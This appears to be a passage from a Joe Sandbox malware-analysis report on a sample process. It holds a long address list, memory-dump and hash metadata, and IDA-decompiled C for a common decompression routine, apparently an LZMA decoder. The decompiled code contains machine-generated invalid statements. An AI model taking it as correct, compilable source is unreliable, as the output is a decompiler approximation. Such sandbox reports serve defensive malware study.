0x00406b1a
0x00406b1e
0x00406b25
0x00406b28
0x00406b2f
0x00406b33
0x00406b3b
0x00406b3b
0x00406b3b
0x00406b35
0x00406b35
0x00406b35
0x00406b2a
0x00406b2a
0x00406b2a
0x00406b3f
0x00406b42
0x00406b60
0x00406b62
0x00000000
0x00406b44
0x00406b44
0x00406b47
0x00406b4a
0x00406b4d
0x00406b4f
0x00406b4f
0x00406b4f
0x00406b52
0x00406b55
0x00406b57
0x00406b58
0x00406b5b
0x00000000
0x00406b5b
0x00000000
0x00406d91
0x00406d95
0x00406db3
0x00406db6
0x00406dbd
0x00406dc0
0x00406dc3
0x00406dc6
0x00406dc9
0x00406dcc
0x00406dce
0x00406dd5
0x00406dd6
0x00406dd8
0x00406ddb
0x00406dde
0x00406de1
0x00406de1
0x00406de6
0x00000000
0x00406de6
0x00406d97
0x00406d9a
0x00406d9d
0x00406da7
0x00000000
0x00000000
0x00406dfb
0x00406dff
0x00406e22
0x00406e25
0x00406e28
0x00406e32
0x00406e01
0x00406e01
0x00406e04
0x00406e07
0x00406e0a
0x00406e17
0x00406e1a
0x00406e1a
0x00000000
0x00000000
0x00000000
0x00000000
0x00406eaf
0x00406eb3
0x00406eba
0x00406ebd
0x00406ec0
0x00406eca
0x00000000
0x00406eca
0x00406eb5
0x00000000
0x00000000
0x00406ed6
0x00406eda
0x00406ee1
0x00406ee4
0x00406ee7
0x00406edc
0x00406edc
0x00406edc
0x00406eea
0x00406eed
0x00406ef0
0x00406ef0
0x00406ef3
0x00406ef6
0x00000000
0x00000000
0x00406f96
0x00406f96
0x00406f9a
0x00407338
0x00000000
0x00407338
0x00406fa0
0x00406fa3
0x00406fa6
0x00406faa
0x00406fad
0x00406fb3
0x00406fb5
0x00406fb5
0x00406fb5
0x00406fb8
0x00406fbb
0x00000000
0x00000000
0x00406b8b
0x00406b8b
0x00406b8f
0x004072fc
0x00000000
0x004072fc
0x00406b95
0x00406b98
0x00406b9b
0x00406b9f
0x00406ba2
0x00406ba8
0x00406baa
0x00406baa
0x00406baa
0x00406bad
0x00406bb0
0x00406bb0
0x00406bb3
0x00406bb6
0x00000000
0x00000000
0x00406bbc
0x00406bc2
0x00000000
0x00000000
0x00406bc8
0x00406bc8
0x00406bcc
0x00406bcf
0x00406bd2
0x00406bd5
0x00406bd8
0x00406bd9
0x00406bdc
0x00406bde
0x00406be4
0x00406be7
0x00406bea
0x00406bed
0x00406bf0
0x00406bf3
0x00406bf6
0x00406c12
0x00406c15
0x00406c18
0x00406c1b
0x00406c22
0x00406c26
0x00406c28
0x00406c2c
0x00406bf8
0x00406bf8
0x00406bfc
0x00406c04
0x00406c09
0x00406c0b
0x00406c0d
0x00406c0d
0x00406c2f
0x00406c36
0x00406c39
0x00000000
0x00406c3f
0x00000000
0x00406c3f
0x00000000
0x00406c44
0x00406c44
0x00406c48
0x00407308
0x00000000
0x00407308
0x00406c4e
0x00406c51
0x00406c54
0x00406c58
0x00406c5b
0x00406c61
0x00406c63
0x00406c63
0x00406c63
0x00406c66
0x00406c69
0x00406c69
0x00406c69
0x00406c6f
0x00000000
0x00000000
0x00406c71
0x00406c74
0x00406c77
0x00406c7a
0x00406c7d
0x00406c80
0x00406c83
0x00406c86
0x00406c89
0x00406c8c
0x00406c8f
0x00406ca7
0x00406caa
0x00406cad
0x00406cb0
0x00406cb0
0x00406cb3
0x00406cb7
0x00406cb9
0x00406c91
0x00406c91
0x00406c99
0x00406c9e
0x00406ca0
0x00406ca2
0x00406ca2
0x00406cbc
0x00406cc3
0x00406cc6
0x00000000
0x00406cc8
0x00000000
0x00406cc8
0x00406cc6
0x00406ccd
0x00406ccd
0x00406ccd
0x00406ccd
0x00000000
0x00000000
0x00406d08
0x00406d08
0x00406d0c
0x00407314
0x00000000
0x00407314
0x00406d12
0x00406d15
0x00406d18
0x00406d1c
0x00406d1f
0x00406d25
0x00406d27
0x00406d27
0x00406d27
0x00406d2a
0x00406d2d
0x00406d2d
0x00406d33
0x00406cd1
0x00406cd1
0x00406cd4
0x00000000
0x00406cd4
0x00406d35
0x00406d35
0x00406d38
0x00406d3b
0x00406d3e
0x00406d41
0x00406d44
0x00406d47
0x00406d4a
0x00406d4d
0x00406d50
0x00406d53
0x00406d6b
0x00406d6e
0x00406d71
0x00406d74
0x00406d74
0x00406d77
0x00406d7b
0x00406d7d
0x00406d55
0x00406d55
0x00406d5d
0x00406d62
0x00406d64
0x00406d66
0x00406d66
0x00406d80
0x00406d87
0x00406d8a
0x00000000
0x00406d8c
0x00000000
0x00406d8c
0x00000000
0x00407019
0x00407019
0x0040701d
0x00407344
0x00000000
0x00407344
0x00407023
0x00407026
0x00407029
0x0040702d
0x00407030
0x00407036
0x00407038
0x00407038
0x00407038
0x0040703b
0x00000000
0x00000000
0x00000000
0x00000000
0x00407128
0x0040712c
0x0040714e
0x00407151
0x0040715b
0x00000000
0x0040715b
0x0040712e
0x00407131
0x00407135
0x00407138
0x00407138
0x0040713b
0x00000000
0x00000000
0x004071e5
0x004071e9
0x00407207
0x00407207
0x00407207
0x0040720e
0x00407215
0x0040721c
0x0040721c
0x00000000
0x0040721c
0x004071eb
0x004071ee
0x004071f1
0x004071f4
0x004071fb
0x0040713f
0x0040713f
0x00407142
0x00000000
0x00000000
0x004072d6
0x004072d9
0x00000000
0x00000000
0x00406f10
0x00406f12
0x00406f19
0x00406f1a
0x00406f1c
0x00406f1f
0x00000000
0x00000000
0x00406f27
0x00406f2a
0x00406f2d
0x00406f2f
0x00406f31
0x00406f31
0x00406f32
0x00406f35
0x00406f3c
0x00406f3f
0x00406f4d
0x00000000
0x00000000
0x00407223
0x00407223
0x00407226
0x0040722d
0x00000000
0x00000000
0x00407232
0x00407232
0x00407236
0x0040736e
0x00000000
0x0040736e
0x0040723c
0x0040723f
0x00407242
0x00407246
0x00407249
0x0040724f
0x00407251
0x00407251
0x00407251
0x00407254
0x00407257
0x00407257
0x00407257
0x00407257
0x0040725a
0x0040725a
0x0040725e
0x004072be
0x004072c1
0x004072c6
0x004072c7
0x004072c9
0x004072cb
0x004072ce
0x00000000
0x004072ce
0x00407260
0x00407266
0x00407269
0x0040726c
0x0040726f
0x00407272
0x00407275
0x00407278
0x0040727b
0x0040727e
0x00407281
0x0040729a
0x0040729d
0x004072a0
0x004072a3
0x004072a7
0x004072a9
0x004072a9
0x004072aa
0x004072ad
0x00407283
0x00407283
0x0040728b
0x00407290
0x00407292
0x00407295
0x00407295
0x004072b0
0x004072b7
0x00000000
0x004072b9
0x00000000
0x004072b9
0x00000000
0x00406f55
0x00406f58
0x00406f8e
0x004070be
0x004070be
0x004070be
0x004070be
0x004070c1
0x004070c1
0x004070c4
0x004070c6
0x00407350
0x00000000
0x00407350
0x004070cc
0x004070cf
0x00000000
0x00000000
0x004070d5
0x004070d9
0x004070dc
0x004070dc
0x004070dc
0x00000000
0x004070dc
0x00406f5a
0x00406f5c
0x00406f5e
0x00406f60
0x00406f63
0x00406f64
0x00406f66
0x00406f68
0x00406f6b
0x00406f6e
0x00406f84
0x00406f89
0x00406fc1
0x00406fc1
0x00406fc5
0x00406ff1
0x00406ff3
0x00406ffa
0x00406ffd
0x00407000
0x00407000
0x00407005
0x00407005
0x00407007
0x0040700a
0x00407011
0x00407014
0x00407041
0x00407041
0x00407044
0x00407047
0x004070bb
0x004070bb
0x004070bb
0x00000000
0x004070bb
0x00407049
0x0040704f
0x00407052
0x00407055
0x00407058
0x0040705b
0x0040705e
0x00407061
0x00407064
0x00407067
0x0040706a
0x00407083
0x00407085
0x00407088
0x00407089
0x0040708c
0x0040708e
0x00407091
0x00407093
0x00407095
0x00407098
0x0040709a
0x0040709d
0x004070a1
0x004070a3
0x004070a3
0x004070a4
0x004070a7
0x004070aa
0x0040706c
0x0040706c
0x00407074
0x00407079
0x0040707b
0x0040707e
0x0040707e
0x004070ad
0x004070b4
0x0040703e
0x0040703e
0x0040703e
0x0040703e
0x00000000
0x004070b6
0x00000000
0x004070b6
0x004070b4
0x00406fc7
0x00406fca
0x00406fcc
0x00406fcf
0x00406fd2
0x00406fd5
0x00406fd7
0x00406fda
0x00406fdd
0x00406fdd
0x00406fe0
0x00406fe0
0x00406fe3
0x00406fea
0x00406fbe
0x00406fbe
0x00406fbe
0x00406fbe
0x00000000
0x00406fec
0x00000000
0x00406fec
0x00406fea
0x00406f70
0x00406f73
0x00406f75
0x00406f78
0x00000000
0x00000000
0x00406cd7
0x00406cd7
0x00406cdb
0x00407320
0x00000000
0x00407320
0x00406ce1
0x00406ce4
0x00406ce7
0x00406cea
0x00406ced
0x00406cf0
0x00406cf3
0x00406cf5
0x00406cf8
0x00406cfb
0x00406cfe
0x00406d00
0x00406d00
0x00406d00
0x00000000
0x00000000
0x00000000
0x00000000
0x004070df
0x004070df
0x004070df
0x004070e3
0x00000000
0x00000000
0x004070e9
0x004070ec
0x004070ef
0x004070f2
0x004070f4
0x004070f4
0x004070f4
0x004070f7
0x004070fa
0x004070fd
0x00407100
0x00407103
0x00407106
0x00407107
0x00407109
0x00407109
0x00407109
0x0040710c
0x0040710f
0x00407112
0x00407115
0x00407118
0x0040711c
0x0040711e
0x00407121
0x00000000
0x00407123
0x00000000
0x00407123
0x00407121
0x00407356
0x00000000
0x00000000
0x00406985

Memory Dump Source

Source File: 00000014.00000002.399238187.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.399216302.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399337096.0000000000408000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399352909.000000000040A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399369646.000000000041E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399559254.000000000045F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399581098.0000000000471000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000014.00000002.399594957.00000000004F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wns22DB.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction ID: fb1d02f26201205f5bfcbd3029eb7cfad7cca69a3f8c46de7b35964bdd0c3f7d
Opcode Fuzzy Hash: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction Fuzzy Hash: 18814571E04228DFDF24CFA8C844BADBBB1FB45305F24816AD856BB291C7389986DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00406D91 Relevance: 5.2, APIs: 4, Instructions: 180
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406D91() {
				signed int _t539;
				unsigned short _t540;
				signed int _t541;
				void _t542;
				signed int _t543;
				signed int _t544;
				signed int _t573;
				signed int _t576;
				signed int _t597;
				signed int* _t614;
				void* _t621;

				L0:
				while(1) {
					L0:
					if( *(_t621 - 0x40) != 1) {
						 *((intOrPtr*)(_t621 - 0x80)) = 0x16;
						 *((intOrPtr*)(_t621 - 0x20)) =  *((intOrPtr*)(_t621 - 0x24));
						 *((intOrPtr*)(_t621 - 0x24)) =  *((intOrPtr*)(_t621 - 0x28));
						 *((intOrPtr*)(_t621 - 0x28)) =  *((intOrPtr*)(_t621 - 0x2c));
						 *(_t621 - 0x38) = ((0 |  *(_t621 - 0x38) - 0x00000007 >= 0x00000000) - 0x00000001 & 0x000000fd) + 0xa;
						_t539 =  *(_t621 - 4) + 0x664;
						 *(_t621 - 0x58) = _t539;
						goto L68;
					} else {
						 *(__ebp - 0x84) = 8;
						while(1) {
							L132:
							 *(_t621 - 0x54) = _t614;
							while(1) {
								L133:
								_t540 =  *_t614;
								_t597 = _t540 & 0x0000ffff;
								_t573 = ( *(_t621 - 0x10) >> 0xb) * _t597;
								if( *(_t621 - 0xc) >= _t573) {
									 *(_t621 - 0x10) =  *(_t621 - 0x10) - _t573;
									 *(_t621 - 0xc) =  *(_t621 - 0xc) - _t573;
									 *(_t621 - 0x40) = 1;
									_t541 = _t540 - (_t540 >> 5);
									 *_t614 = _t541;
								} else {
									 *(_t621 - 0x10) = _t573;
									 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
									 *_t614 = (0x800 - _t597 >> 5) + _t540;
								}
								if( *(_t621 - 0x10) >= 0x1000000) {
									goto L139;
								}
								L137:
								if( *(_t621 - 0x6c) == 0) {
									 *(_t621 - 0x88) = 5;
									L170:
									_t576 = 0x22;
									memcpy( *(_t621 - 0x90), _t621 - 0x88, _t576 << 2);
									_t544 = 0;
									L172:
									return _t544;
								}
								 *(_t621 - 0x10) =  *(_t621 - 0x10) << 8;
								 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
								 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
								 *(_t621 - 0xc) =  *(_t621 - 0xc) << 0x00000008 |  *( *(_t621 - 0x70)) & 0x000000ff;
								L139:
								_t542 =  *(_t621 - 0x84);
								while(1) {
									 *(_t621 - 0x88) = _t542;
									while(1) {
										L1:
										_t543 =  *(_t621 - 0x88);
										if(_t543 > 0x1c) {
											break;
										}
										switch( *((intOrPtr*)(_t543 * 4 +  &M00407395))) {
											case 0:
												if( *(_t621 - 0x6c) == 0) {
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
												_t543 =  *( *(_t621 - 0x70));
												if(_t543 > 0xe1) {
													goto L171;
												}
												_t547 = _t543 & 0x000000ff;
												_push(0x2d);
												asm("cdq");
												_pop(_t578);
												_push(9);
												_pop(_t579);
												_t617 = _t547 / _t578;
												_t549 = _t547 % _t578 & 0x000000ff;
												asm("cdq");
												_t612 = _t549 % _t579 & 0x000000ff;
												 *(_t621 - 0x3c) = _t612;
												 *(_t621 - 0x1c) = (1 << _t617) - 1;
												 *((intOrPtr*)(_t621 - 0x18)) = (1 << _t549 / _t579) - 1;
												_t620 = (0x300 << _t612 + _t617) + 0x736;
												if(0x600 ==  *((intOrPtr*)(_t621 - 0x78))) {
													L10:
													if(_t620 == 0) {
														L12:
														 *(_t621 - 0x48) =  *(_t621 - 0x48) & 0x00000000;
														 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
														goto L15;
													} else {
														goto L11;
													}
													do {
														L11:
														_t620 = _t620 - 1;
														 *((short*)( *(_t621 - 4) + _t620 * 2)) = 0x400;
													} while (_t620 != 0);
													goto L12;
												}
												if( *(_t621 - 4) != 0) {
													GlobalFree( *(_t621 - 4));
												}
												_t543 = GlobalAlloc(0x40, 0x600); // executed
												 *(_t621 - 4) = _t543;
												if(_t543 == 0) {
													goto L171;
												} else {
													 *((intOrPtr*)(_t621 - 0x78)) = 0x600;
													goto L10;
												}
											case 1:
												L13:
												__eflags =  *(_t621 - 0x6c);
												if( *(_t621 - 0x6c) == 0) {
													 *(_t621 - 0x88) = 1;
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												 *(_t621 - 0x40) =  *(_t621 - 0x40) | ( *( *(_t621 - 0x70)) & 0x000000ff) <<  *(_t621 - 0x48) << 0x00000003;
												 *(_t621 - 0x70) =  &(( *(_t621 - 0x70))[1]);
												_t45 = _t621 - 0x48;
												 *_t45 =  *(_t621 - 0x48) + 1;
												__eflags =  *_t45;
												L15:
												if( *(_t621 - 0x48) < 4) {
													goto L13;
												}
												_t555 =  *(_t621 - 0x40);
												if(_t555 ==  *(_t621 - 0x74)) {
													L20:
													 *(_t621 - 0x48) = 5;
													 *( *(_t621 - 8) +  *(_t621 - 0x74) - 1) =  *( *(_t621 - 8) +  *(_t621 - 0x74) - 1) & 0x00000000;
													goto L23;
												}
												 *(_t621 - 0x74) = _t555;
												if( *(_t621 - 8) != 0) {
													GlobalFree( *(_t621 - 8));
												}
												_t543 = GlobalAlloc(0x40,  *(_t621 - 0x40)); // executed
												 *(_t621 - 8) = _t543;
												if(_t543 == 0) {
													goto L171;
												} else {
													goto L20;
												}
											case 2:
												L24:
												_t562 =  *(_t621 - 0x60) &  *(_t621 - 0x1c);
												 *(_t621 - 0x84) = 6;
												 *(_t621 - 0x4c) = _t562;
												_t614 =  *(_t621 - 4) + (( *(_t621 - 0x38) << 4) + _t562) * 2;
												goto L132;
											case 3:
												L21:
												__eflags =  *(_t621 - 0x6c);
												if( *(_t621 - 0x6c) == 0) {
													 *(_t621 - 0x88) = 3;
													goto L170;
												}
												 *(_t621 - 0x6c) =  *(_t621 - 0x6c) - 1;
												_t67 = _t621 - 0x70;
												 *_t67 =  &(( *(_t621 - 0x70))[1]);
												__eflags =  *_t67;
												 *(_t621 - 0xc) =  *(_t621 - 0xc) << 0x00000008 |  *( *(_t621 - 0x70)) & 0x000000ff;
												L23:
												 *(_t621 - 0x48) =  *(_t621 - 0x48) - 1;
												if( *(_t621 - 0x48) != 0) {
													goto L21;
												}
												goto L24;
											case 4:
												L133:
												_t540 =  *_t614;
												_t597 = _t540 & 0x0000ffff;
												_t573 = ( *(_t621 - 0x10) >> 0xb) * _t597;
												if( *(_t621 - 0xc) >= _t573) {
													 *(_t621 - 0x10) =  *(_t621 - 0x10) - _t573;
													 *(_t621 - 0xc) =  *(_t621 - 0xc) - _t573;
													 *(_t621 - 0x40) = 1;
													_t541 = _t540 - (_t540 >> 5);
													 *_t614 = _t541;
												} else {
													 *(_t621 - 0x10) = _t573;
													 *(_t621 - 0x40) =  *(_t621 - 0x40) & 0x00000000;
													 *_t614 = (0x800 - _t597 >> 5) + _t540;
												}
												if( *(_t621 - 0x10) >= 0x1000000) {
													goto L139;
												}
											case 5:
												goto L137;
											case 6:
												__edx = 0;
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x34) = 1;
													 *(__ebp - 0x84) = 7;
													__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
												__eax =  *(__ebp - 0x5c) & 0x000000ff;
												__esi =  *(__ebp - 0x60);
												__cl = 8;
												__cl = 8 -  *(__ebp - 0x3c);
												__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
												__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
												__ecx =  *(__ebp - 0x3c);
												__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
												__ecx =  *(__ebp - 4);
												(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
												__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
												__eflags =  *(__ebp - 0x38) - 4;
												__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												if( *(__ebp - 0x38) >= 4) {
													__eflags =  *(__ebp - 0x38) - 0xa;
													if( *(__ebp - 0x38) >= 0xa) {
														_t98 = __ebp - 0x38;
														 *_t98 =  *(__ebp - 0x38) - 6;
														__eflags =  *_t98;
													} else {
														 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
													}
												} else {
													 *(__ebp - 0x38) = 0;
												}
												__eflags =  *(__ebp - 0x34) - __edx;
												if( *(__ebp - 0x34) == __edx) {
													__ebx = 0;
													__ebx = 1;
													goto L61;
												} else {
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__ecx =  *(__ebp - 8);
													__ebx = 0;
													__ebx = 1;
													__al =  *((intOrPtr*)(__eax + __ecx));
													 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
													goto L41;
												}
											case 7:
												goto L0;
											case 8:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xa;
													__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
												} else {
													__eax =  *(__ebp - 0x38);
													__ecx =  *(__ebp - 4);
													__eax =  *(__ebp - 0x38) + 0xf;
													 *(__ebp - 0x84) = 9;
													 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
													__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
												}
												while(1) {
													L132:
													 *(_t621 - 0x54) = _t614;
													goto L133;
												}
											case 9:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													goto L89;
												}
												__eflags =  *(__ebp - 0x60);
												if( *(__ebp - 0x60) == 0) {
													goto L171;
												}
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												_t258 =  *(__ebp - 0x38) - 7 >= 0;
												__eflags = _t258;
												0 | _t258 = _t258 + _t258 + 9;
												 *(__ebp - 0x38) = _t258 + _t258 + 9;
												goto L75;
											case 0xa:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xb;
													__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
													while(1) {
														L132:
														 *(_t621 - 0x54) = _t614;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x28);
												goto L88;
											case 0xb:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__ecx =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x20);
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
												} else {
													__eax =  *(__ebp - 0x24);
												}
												__ecx =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												L88:
												__ecx =  *(__ebp - 0x2c);
												 *(__ebp - 0x2c) = __eax;
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												L89:
												__eax =  *(__ebp - 4);
												 *(__ebp - 0x80) = 0x15;
												__eax =  *(__ebp - 4) + 0xa68;
												 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
												goto L68;
											case 0xc:
												L99:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xc;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t334 = __ebp - 0x70;
												 *_t334 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t334;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												__eax =  *(__ebp - 0x2c);
												goto L101;
											case 0xd:
												L37:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xd;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t122 = __ebp - 0x70;
												 *_t122 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t122;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L39:
												__eax =  *(__ebp - 0x40);
												__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
												if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
													goto L48;
												}
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													goto L54;
												}
												L41:
												__eax =  *(__ebp - 0x5b) & 0x000000ff;
												 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
												__ecx =  *(__ebp - 0x58);
												__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
												 *(__ebp - 0x48) = __eax;
												__eax = __eax + 1;
												__eax = __eax << 8;
												__eax = __eax + __ebx;
												__esi =  *(__ebp - 0x58) + __eax * 2;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edx = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													 *(__ebp - 0x40) = 1;
													__cx = __ax >> 5;
													__eflags = __eax;
													__ebx = __ebx + __ebx + 1;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edx;
													0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L39;
												} else {
													goto L37;
												}
											case 0xe:
												L46:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xe;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t156 = __ebp - 0x70;
												 *_t156 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t156;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												while(1) {
													L48:
													__eflags = __ebx - 0x100;
													if(__ebx >= 0x100) {
														break;
													}
													__eax =  *(__ebp - 0x58);
													__edx = __ebx + __ebx;
													__ecx =  *(__ebp - 0x10);
													__esi = __edx + __eax;
													__ecx =  *(__ebp - 0x10) >> 0xb;
													__ax =  *__esi;
													 *(__ebp - 0x54) = __esi;
													__edi = __ax & 0x0000ffff;
													__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
													__eflags =  *(__ebp - 0xc) - __ecx;
													if( *(__ebp - 0xc) >= __ecx) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
														__cx = __ax;
														_t170 = __edx + 1; // 0x1
														__ebx = _t170;
														__cx = __ax >> 5;
														__eflags = __eax;
														 *__esi = __ax;
													} else {
														 *(__ebp - 0x10) = __ecx;
														0x800 = 0x800 - __edi;
														0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
														__ebx = __ebx + __ebx;
														 *__esi = __cx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0x10) >= 0x1000000) {
														continue;
													} else {
														goto L46;
													}
												}
												L54:
												_t173 = __ebp - 0x34;
												 *_t173 =  *(__ebp - 0x34) & 0x00000000;
												__eflags =  *_t173;
												goto L55;
											case 0xf:
												L58:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xf;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
